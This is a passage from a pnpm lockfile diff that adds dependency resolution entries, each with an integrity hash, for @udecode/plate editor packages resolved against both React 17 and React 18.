jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-code-block@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-ZaioZnfBmFMFZWzulMGfoDLb3l9nOIcfbfleGNDBjTRiqorbzGuz1K9MKWTjPZacS+Zt035ncC/bouMXnppP1w==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + prismjs: 1.29.0 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-combobox@21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-LLMec+quBxG7P5IKFrqRrpBsJm4FPTVzKLQnd+TAh6h8yw0wLLMw90McnpIhmp9xfyHUsZa99ymnHrkYf7+8QQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-floating': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + downshift: 6.1.12(react@17.0.2) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - '@types/react-dom' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-combobox@21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-LLMec+quBxG7P5IKFrqRrpBsJm4FPTVzKLQnd+TAh6h8yw0wLLMw90McnpIhmp9xfyHUsZa99ymnHrkYf7+8QQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-floating': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + downshift: 6.1.12(react@18.2.0) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - '@types/react-dom' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-comments@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-65ciYGs+NdkRoNwXyO/gS8Zl9R1IXICrk6kXzyrukgrCGnbA3nayoV3KI5zG0rO7s5PbJhYmQxyEX8CVhZ2HgA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-button': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-comments@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-65ciYGs+NdkRoNwXyO/gS8Zl9R1IXICrk6kXzyrukgrCGnbA3nayoV3KI5zG0rO7s5PbJhYmQxyEX8CVhZ2HgA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-button': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-common@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-jEkgcbSP2Kgk0vzmKMzhxqi7bfw9oaBGX5xuds0j9l079BKIRzvj/hBnPBneC5i5B+YqU+m+xI+mfbbNcaVgAA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-core': 21.5.0(@babel/core@7.23.5)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-utils': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/slate': 21.4.1(slate-history@0.93.0)(slate@0.94.1) + '@udecode/slate-react': 21.4.1(react-dom@17.0.2)(react@17.0.2)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/slate-utils': 21.4.1(slate-history@0.93.0)(slate@0.94.1) + '@udecode/utils': 19.7.1 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-common@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-jEkgcbSP2Kgk0vzmKMzhxqi7bfw9oaBGX5xuds0j9l079BKIRzvj/hBnPBneC5i5B+YqU+m+xI+mfbbNcaVgAA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-core': 21.5.0(@babel/core@7.23.5)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-utils': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/slate': 21.4.1(slate-history@0.93.0)(slate@0.94.1) + '@udecode/slate-react': 21.4.1(react-dom@18.2.0)(react@18.2.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/slate-utils': 21.4.1(slate-history@0.93.0)(slate@0.94.1) + '@udecode/utils': 19.7.1 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-core@21.5.0(@babel/core@7.23.5)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-A5qKsIORSvMTb8AdehNWHyVDKNTCXnTJ86p/qgfYG9WAerNxfbKNGqaPEyg3R72ZtHa0I3aTT4uNO7jEpWCQQQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/slate': 21.4.1(slate-history@0.93.0)(slate@0.94.1) + '@udecode/slate-react': 21.4.1(react-dom@17.0.2)(react@17.0.2)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/utils': 19.7.1 + '@udecode/zustood': 1.1.3(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(zustand@3.7.2) + clsx: 1.2.1 + jotai: 1.13.1(@babel/core@7.23.5)(react@17.0.2) + lodash: 4.17.21 + nanoid: 3.3.7 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + react-hotkeys-hook: 4.4.1(react-dom@17.0.2)(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + use-deep-compare: 1.1.0(react@17.0.2) + zustand: 3.7.2(react@17.0.2) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-core@21.5.0(@babel/core@7.23.5)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-A5qKsIORSvMTb8AdehNWHyVDKNTCXnTJ86p/qgfYG9WAerNxfbKNGqaPEyg3R72ZtHa0I3aTT4uNO7jEpWCQQQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/slate': 21.4.1(slate-history@0.93.0)(slate@0.94.1) + '@udecode/slate-react': 21.4.1(react-dom@18.2.0)(react@18.2.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/utils': 19.7.1 + '@udecode/zustood': 1.1.3(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(zustand@3.7.2) + clsx: 1.2.1 + jotai: 1.13.1(@babel/core@7.23.5)(react@18.2.0) + lodash: 4.17.21 + nanoid: 3.3.7 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + react-hotkeys-hook: 4.4.1(react-dom@18.2.0)(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + use-deep-compare: 1.1.0(react@18.2.0) + zustand: 3.7.2(react@18.2.0) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-emoji@21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-rFL5E8QwwadpUrdhP8qT7G5fyjLTz0WVQHmaiQaUKyCw6Xlzt4R/OLmFfsX4UI2614/cGbO7tor0OSKedC46UQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@emoji-mart/data': 1.1.2 + '@udecode/plate-combobox': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - '@types/react-dom' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-emoji@21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-rFL5E8QwwadpUrdhP8qT7G5fyjLTz0WVQHmaiQaUKyCw6Xlzt4R/OLmFfsX4UI2614/cGbO7tor0OSKedC46UQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@emoji-mart/data': 1.1.2 + '@udecode/plate-combobox': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - '@types/react-dom' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-find-replace@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-ZMreo/MDeZG4vICdtgsWgF//ugs2bdjNwLROM/cPaEzC2LygfJCwA6dFaPh+7DjeMhIgxfIiGA+e+ZFzJzLsEQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-find-replace@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-ZMreo/MDeZG4vICdtgsWgF//ugs2bdjNwLROM/cPaEzC2LygfJCwA6dFaPh+7DjeMhIgxfIiGA+e+ZFzJzLsEQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-floating@21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-nBEXyqsdxEDkopetcbA3+wfPDZI04VNT0TCMv/ZUgc0KgjZrLK10TIo0cp3HU7okrKwkRE0bQjOEze2fPxQWSA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@floating-ui/react': 0.22.3(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-dropdown-menu': 2.0.6(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - '@types/react-dom' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-floating@21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-nBEXyqsdxEDkopetcbA3+wfPDZI04VNT0TCMv/ZUgc0KgjZrLK10TIo0cp3HU7okrKwkRE0bQjOEze2fPxQWSA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@floating-ui/react': 0.22.3(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-dropdown-menu': 2.0.6(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - '@types/react-dom' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-font@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-suPdGeRCKlDep8FZCmZ0TbYNeUd7cHcnuY6YwrGfs7KUNv2WyklQH3RxPSLtio7Ei55SYHl5FcrSy8tfvpUHfA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-font@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-suPdGeRCKlDep8FZCmZ0TbYNeUd7cHcnuY6YwrGfs7KUNv2WyklQH3RxPSLtio7Ei55SYHl5FcrSy8tfvpUHfA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-heading@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-4+6fKS5fXyiwuVxwwxM3Pu8d8zdxOGodJ8PsDSjfI4ZtrZGMnfa889tOnKw2FEtH/mgFl03Yk+ftUhDZPuNwhg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-heading@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-4+6fKS5fXyiwuVxwwxM3Pu8d8zdxOGodJ8PsDSjfI4ZtrZGMnfa889tOnKw2FEtH/mgFl03Yk+ftUhDZPuNwhg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-headless@21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-KFEEQ/NdMs3HIzidv2yz44SReVnxZmMip8JGyERe+PU5oAvhcQcp8ACvF0CQuK2xBk041/DCJbznF6WG7rBEcg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-hyperscript: '>=0.66.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-alignment': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-autoformat': 